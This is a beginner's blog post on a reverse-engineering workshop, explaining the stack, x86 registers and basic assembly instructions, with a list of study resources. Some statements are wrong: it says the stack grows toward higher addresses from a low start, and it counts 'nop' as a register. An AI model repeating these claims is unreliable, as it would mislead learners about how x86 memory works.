&lt;p&gt;Week #2 has been all about &lt;code&gt;the stack&lt;/code&gt; and &lt;code&gt;assembly&lt;/code&gt;. Going over the &lt;a href="https://www.begin.re/assignment-2" rel="noopener noreferrer"&gt;preparations&lt;/a&gt; section of the workshop, I went over the purpose of &lt;code&gt;the stack&lt;/code&gt; as well as &lt;code&gt;assembly&lt;/code&gt;:&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the stack?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;The stack&lt;/code&gt; is a data structure, it gets assigned an area of memory which it uses to store information about the executing program, it uses &lt;code&gt;registers&lt;/code&gt;(storage areas, &lt;code&gt;esp&lt;/code&gt;, &lt;code&gt;ebp&lt;/code&gt;,&lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;nop&lt;/code&gt; etc) to know what's executing by storing data &amp;amp; memory addresses, we can use &lt;code&gt;instructions&lt;/code&gt;(actions we can perform using &lt;code&gt;assembly language&lt;/code&gt; like &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt;, &lt;code&gt;mov&lt;/code&gt;, &lt;code&gt;jmp&lt;/code&gt; and more) to interact with &lt;code&gt;the stack&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The stack grows down to higher memory addresses, which also means &lt;code&gt;the stack&lt;/code&gt; starts at lower memory addresses.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;The stack&lt;/code&gt; keeps track of everything that happens when a program executes, it knows exactly what variables the program will use and which functions are running by using &lt;code&gt;registers&lt;/code&gt; like &lt;code&gt;ebp&lt;/code&gt;(which points to the base of the stack) and &lt;code&gt;eip&lt;/code&gt;(which points to the next instruction to perform).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/vcfQVwtoyHY"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  What is assembly?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Low-level programming language&lt;/li&gt;
&lt;li&gt;Gets turned into &lt;code&gt;machine language&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Instruction set&lt;/code&gt; is used to write programs which use &lt;code&gt;registers&lt;/code&gt; and &lt;code&gt;instructions&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;some &lt;code&gt;instructions&lt;/code&gt; include:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;nop&lt;/code&gt; &lt;code&gt;push&lt;/code&gt; &lt;code&gt;pop&lt;/code&gt; &lt;code&gt;mov&lt;/code&gt; &lt;code&gt;add&lt;/code&gt; &lt;code&gt;call&lt;/code&gt; &lt;code&gt;ret&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;all instructions performs actions using &lt;code&gt;registers&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;mov eax, [ebx]&lt;/code&gt;: move the 4 bytes in memory at the address contained in &lt;code&gt;ebx&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;instruction format&lt;/li&gt;

&lt;li&gt;&lt;code&gt;operation argument&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;operation argument, argument&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;mov eax, [ebp-8]&lt;/code&gt; &lt;em&gt;square brackets acts as the de-reference operator in &lt;code&gt;c&lt;/code&gt; so the &lt;code&gt;mov&lt;/code&gt; instruction "moves" the value that's at &lt;code&gt;ebp-8&lt;/code&gt; and stores it inside &lt;code&gt;eax&lt;/code&gt;&lt;/em&gt; [Intel Syntax]&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fexternal-preview.redd.it%2F9WDnA-wfi7dkz49F80RaJGi_UE_0lAvTG4SIsBizwr4.png%3Fauto%3Dwebp%26s%3Dafa7e964279f11a3ad39dcb789ecede6d85ddf8e" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fexternal-preview.redd.it%2F9WDnA-wfi7dkz49F80RaJGi_UE_0lAvTG4SIsBizwr4.png%3Fauto%3Dwebp%26s%3Dafa7e964279f11a3ad39dcb789ecede6d85ddf8e" alt="x86 ASM"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next week&lt;/strong&gt;: Going over some basic &lt;code&gt;C&lt;/code&gt;, installing tools, trying some exercises&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://azeria-labs.com/functions-and-the-stack-part-7/" rel="noopener noreferrer"&gt;azeria-labs&lt;/a&gt; more about the stack&lt;br&gt;
&lt;a href="https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg" rel="noopener noreferrer"&gt;OALabs&lt;/a&gt;: youtube channel&lt;br&gt;
&lt;a href="https://discord.gg/weKN5wb" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;: resources, and community&lt;br&gt;
&lt;a href="https://github.com/wtsxDev/reverse-engineering" rel="noopener noreferrer"&gt;Awesome RE&lt;/a&gt;: Github repo&lt;br&gt;
&lt;a href="https://ropemporium.com/" rel="noopener noreferrer"&gt;ROP beginers&lt;/a&gt;: return-oriented programming (here for later reference)&lt;br&gt;&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=rxsBghsrvpI" rel="noopener noreferrer"&gt;Modern X86 ASM&lt;/a&gt;&lt;br&gt;
&lt;a href="https://cs.lmu.edu/~ray/notes/x86assembly/" rel="noopener noreferrer"&gt;x86 ASM&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.redd.it/p334wphc5wu21.png" rel="noopener noreferrer"&gt;&lt;strong&gt;cover image&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.reddit.com/r/ReverseEngineering/comments/3zpkde/reverse_engineering_for_malware_analysis_cheat/" rel="noopener noreferrer"&gt;asm cheatsheet&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=75gBFiFtAb8&amp;amp;feature=youtu.be" rel="noopener noreferrer"&gt;x86 Intro&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hacking</category>
    </item>
  </channel>
</rss>
